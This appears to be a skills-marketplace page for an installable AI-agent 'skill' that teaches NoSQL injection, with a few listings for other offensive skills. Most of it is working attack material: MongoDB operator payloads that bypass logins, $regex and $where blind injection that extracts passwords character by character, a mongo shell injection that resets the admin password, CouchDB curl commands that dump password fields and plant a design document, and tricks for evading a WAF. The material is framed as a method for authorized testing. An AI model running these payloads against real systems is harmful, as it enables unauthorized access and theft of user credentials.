skills/exploit/web-method/nosql-injection/SKILL.md
NoSQL 注入检测与利用。当目标使用 MongoDB/CouchDB 等 NoSQL 数据库、登录表单使用 JSON body 提交、或参数中出现 $gt/$ne/$regex 等操作符时使用。覆盖操作符注入认证绕过、$regex 盲注数据提取、$where JS 注入、CouchDB 攻击、WAF 绕过
npx skillsauth add wgpsec/AboutSecurity nosql-injectionInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
NoSQL 数据库(MongoDB 为主)使用结构化查询对象而非 SQL 字符串,但这不意味着安全——当应用直接将用户输入拼接到查询对象中时,攻击者可以注入查询操作符来改变查询逻辑。
| 信号 | 判断 |
|------|------|
| JSON 格式的登录请求 (Content-Type: application/json) | 高概率 MongoDB 后端 |
| Node.js / Express 技术栈 | MongoDB 是 Node.js 最常见的数据库 |
| 错误信息含 MongoError、CastError、BSONTypeError | 确认 MongoDB |
| URL 中有 mongodb:// 连接字符串 | 确认 MongoDB |
| Python Flask + PyMongo / Mongoose ODM | 确认 MongoDB |
| 参数值接受对象/数组(如 user[$ne]=x) | 操作符注入可能 |
| CouchDB /_all_docs、/_find 端点 | CouchDB 注入 |
NoSQL 注入最常见的利用场景是绕过登录认证。
核心思想:将 {"username": "admin", "password": "xxx"} 变为 {"username": "admin", "password": {"$ne": ""}},使密码校验永远为真。
JSON 格式(Content-Type: application/json):
{"username": "admin", "password": {"$ne": ""}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": {"$regex": "^admin"}, "password": {"$ne": ""}}
URL 编码格式(Content-Type: application/x-www-form-urlencoded):
username=admin&password[$ne]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$gt]=
username[$regex]=^adm&password[$ne]=
为什么两种格式都要试:Express 的
qs中间件会自动将user[$ne]解析为{user: {$ne: ""}},但有些应用只接受 JSON,有些只接受 URL 编码。两种都试才能确保不漏。
1. 正常登录请求 → 记录失败响应(状态码/长度/内容)
2. 替换 password 为 {"$ne": ""} → 对比响应差异
3. 如果 JSON 不行,换 URL 编码: password[$ne]=
4. 如果 $ne 不行,试 $gt、$gte、$exists:true
5. 绕过用户名: username={"$regex": ".*"} 配合 password={"$ne": ""}
{"username": {"$regex": "^a"}, "password": {"$ne": ""}}
{"username": {"$regex": "^ad"}, "password": {"$ne": ""}}
{"username": {"$regex": "^adm"}, "password": {"$ne": ""}}
逐字符递增,根据响应差异判断用户名是否匹配。
当注入点不在登录场景,或需要提取具体字段值时。
原理:通过正则逐字符猜测字段值,根据响应差异(true/false、200/401、内容长度)判断字符是否正确。
{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^abc"}}
自动化脚本模板 → 读 references/nosql-payloads.md
$where 操作符允许在查询中执行任意 JavaScript(MongoDB 4.x 及以下):
{"$where": "this.username == 'admin' && this.password.match(/^a.*/)"}
条件判断(盲注 oracle):
{"$where": "function(){return this.password.length > 5}"}
{"$where": "function(){return this.password[0] == 'a'}"}
时间盲注:
{"$where": "function(){if(this.password.match(/^a.*/)){sleep(3000);return true;}return false;}"}
$where依赖服务端 JavaScript 是否启用;可通过--noscripting或security.javascriptEnabled: false禁用。MongoDB 8.0 起服务端 JavaScript(含$where)被 deprecated,但 5.x/6.x/7.x 不应默认视为不可用。
如果注入点在聚合管道参数中:
[{"$lookup": {"from": "users", "localField": "_id", "foreignField": "_id", "as": "leaked"}}]
某些应用会用 ObjectId 的时间戳部分来生成信息:
ObjectId("507f1f77bcf86cd799439011")
↓ 前 8 位 hex = Unix 时间戳
507f1f77 → 2012-10-17T21:02:31Z
当输入被直接拼接到 mongo shell 命令中(罕见但致命):
'; db.users.find().forEach(printjson); var x='
'; db.users.update({username:"admin"},{$set:{password:"hacked"}}); var x='
CouchDB 使用 REST API,注入方式不同:
# 未授权访问检测
curl http://TARGET:5984/_all_dbs
# Mango 查询注入(/_find 端点)
curl -X POST http://TARGET:5984/dbname/_find \
-H "Content-Type: application/json" \
-d '{"selector":{"password":{"$gt":null}},"fields":["_id","username","password"]}'
# 篡改 design document(需要 admin):改变 view 输出或隐藏/污染查询结果
curl -X PUT http://TARGET:5984/testdb/_design/exploit \
-H "Content-Type: application/json" \
-d '{"views":{"leak":{"map":"function(doc){ if (doc.password) emit(doc._id, doc.password); }"}}}'
某些 WAF 只检查字符串中的 $ 符号:
// 原始
{"password": {"$ne": ""}}
// Unicode 绕过
{"password": {"\u0024ne": ""}}
// 深层嵌套
{"password": {"$not": {"$eq": "wrong_password"}}}
如果 WAF 只检查 JSON 格式:
Content-Type: application/x-www-form-urlencoded
password[$ne]=&username=admin
反之,如果 WAF 只检查 URL 参数:
Content-Type: application/json
{"password": {"$ne": ""}}
{"$ne": "x"} // 不等于
{"$gt": ""} // 大于空字符串
{"$gte": " "} // 大于等于空格
{"$exists": true} // 字段存在
{"$in": ["admin"]} // 在列表中
{"$nin": [""]} // 不在列表中
{"$not": {"$eq": "wrong"}} // 双重否定
| 工具 | 用途 | 命令 |
|------|------|------|
| NoSQLMap | 自动化 NoSQL 注入 | python nosqlmap.py -u http://TARGET/login -p username,password |
| mongosh | 直接连接测试 | mongosh mongodb://TARGET:27017 |
| Burp Intruder | 操作符 fuzz | 用 payload 列表逐个测试操作符 |
发现登录页面 + JSON 请求
├── 试 {"password":{"$ne":""}} → 成功?→ 认证绕过 ✅
├── 试 password[$ne]= (URL编码) → 成功?→ 认证绕过 ✅
├── 两种都失败
│ ├── 检查是否有 WAF → Phase 4 绕过
│ ├── 检查是否 MongoDB → 错误信息/指纹
│ └── 不是 NoSQL → 尝试 SQL 注入
└── 需要提取数据
├── $regex 盲注 → Phase 2.1
├── $where JS 注入 → Phase 2.2
└── 聚合管道 → Phase 2.3
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能